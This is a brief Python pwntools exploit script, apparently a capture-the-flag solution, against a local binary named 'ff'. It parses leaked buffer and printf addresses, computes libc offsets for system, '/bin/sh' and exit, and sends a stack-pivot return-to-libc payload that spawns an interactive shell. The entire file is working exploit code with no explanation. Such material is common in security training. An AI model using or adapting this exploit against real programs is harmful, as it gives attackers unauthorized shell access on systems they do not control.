from pwn import *

p = process("./ff")

p.recvuntil(": ")
buf = p.recvuntil("\n")

p.recvuntil(": ")
printf = p.recvuntil("\n")

leave = 0x08048571

buf = int(buf, 16)
printf = int(printf, 16)

print hex(buf)
print hex(printf)

libc_base = printf - 0x4cdd0
system = libc_base + 0x3fe70
binsh = libc_base + 0x15ffcc
exit = libc_base + 0x32f50

payload = "\x90"*4
payload += p32(system)
payload += p32(exit)
payload += p32(binsh)
payload += "\x90"*(62 - len(payload))
payload += p32(buf)
payload += p32(leave)

p.send(payload)
p.interactive()
